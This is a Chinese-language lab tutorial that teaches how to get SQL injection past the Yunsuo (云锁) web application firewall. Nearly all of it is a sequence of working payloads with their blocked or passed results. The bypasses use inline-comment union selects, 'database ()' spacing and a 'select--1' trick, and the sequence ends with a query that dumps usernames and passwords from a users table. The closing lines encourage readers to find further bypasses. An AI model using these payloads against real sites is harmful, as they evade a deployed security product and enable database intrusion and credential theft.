实验介绍
云锁是基于操作系统内核加固技术的免费服务器安全管理软件,由国内信息安全厂商椒图科技自主研发,凝结操作系统内核加固领域数十年的经验积累,集合服务器安全、网站安全管理为一体,以操作系统内核加固技术为基础,同时开放网站安全防护、登录防护、流量防护、资源监控、系统优化、安全日志6大功能模块,有效抵御CC、SQL注入、XSS病毒、木马、webshell等黑客攻击,为广大服务器管理员打造高效、可靠、便捷的服务器安全管理方案。
传统的安全防御手段大多基于网络层或者应用层,如防火墙、IDS、杀毒软件等等,最主要的功能是防御已知的攻击手段,而对未知的病毒、木马攻击却毫无招架之力;“云锁”则是重新加固和扩充操作系统的安全子系统,提升操作系统自身对攻击的免疫力,同时配合web访问控制技术,由内而外的抵御各种病毒及黑客的攻击行为,从而实现对已知、未知攻击手段的真正防御。
实验目的
1. 掌握sql注入绕过云锁的方法与技巧
2.了解云锁过滤方式
实验开始
第一步:

先测试注入点
1' and 1=1 --+ 不拦截 1' and 1=2 --+ 不拦截
第二步:

1=2 条件不成立,没有输出内容,那挺好,下面我们测试union select能不能用

-1 union select 1,2,3 拦截
-1 union//select 12,3 拦截
第三步:

-1 union /*!99999aaaa*/select 1,2,3 不拦截
111 union /*!99999aaaa*/select 1,2,3 不拦截
这里-1和三个1效果是一样的
select绕过后我们在来爆出库名
第三步:

111' union /*!99999aaaa*/select 1,database(),3 拦截
肯定是database()关键字拦截了,我们来绕过
第四步:

111' union /*!99999aaaa*/select 1,database (),3 --+ 不拦截
看出来加了个什么了吗?database空格()绕过显示库名
绕过之后我们再来看看表名
第五步:

111' union /*!99999aaaa*/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 拦截
我们先删掉 where 后的条件,好去看看那个关键字被过虑了
第六步:

111' union /*!99999aaaa*/select 1,(select group_concat(table_name) from information_schema.tables),3 拦截
拦截了,我么再把把 information_schema.tables 删了在看看

第七步:

111' union /*!99999aaaa*/select 1,(select group_concat(table_name) from ),3 拦截
这么看估计应该是撞到 select xxxxxx from 的规则了,我们修改from看看是否推测正确
第八步:

111' union /*!99999aaaa*/select 1 ,(select group_concat(table_name) frsom ),3 不拦截
看来推测正确,我们尝试绕过
第九步:

111' union /*!99999aaaa*/select//1 ,(select group_concat(table_name) from ),3 拦截
111' union /*!99999aaaa*/select/*aaaa*/1 ,(select group_concat(table_name) from ),3 拦截
111' union /*!99999aaaa*/select 1 ,(select group_concat(table_name)//from ),3 拦截
绕不过,不过这里有个小技巧
select-1 输出 -1
select+1 输出1
我们再把上面的代码改一下
select-1 输出 -1
select+1 输出1
select--1
可以想下输出多少。输出的是1 因为负负得正,因为--是注释符,云锁匹配到--后面的部分内容,会放过一部分 。我们来继续绕过

111' union /*!99999aaaa*/select--1 ,(select group_concat(table_name) from information_schema.tables),3 不拦截
第十步:

这里我们看一看读出来了,下面我们加上条件database()爆出库里面的表
111' union /*!99999aaaa*/select--1 ,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 不拦截
可以看到有4个表名,我们再来爆users表里面的字段
第十一步:

111' union /*!99999aaaa*/select--1 ,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),3 不拦截
可以看到users表里面有3个字段,那么字段我们有了然后爆出里面的内容了
第十二步:

111' union /*!99999aaaa*/select--1 ,(select group_concat(concat(username,'~',password)) from security.users ),3 不拦截
大概的流程就是这样
PS: 这里bypass的云锁是没有购买高级服务的版本,所以有点好绕。waf是不断更新的,这里是提供bypass云锁的思路,希望你可以发现新的bypass方法。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/72029.html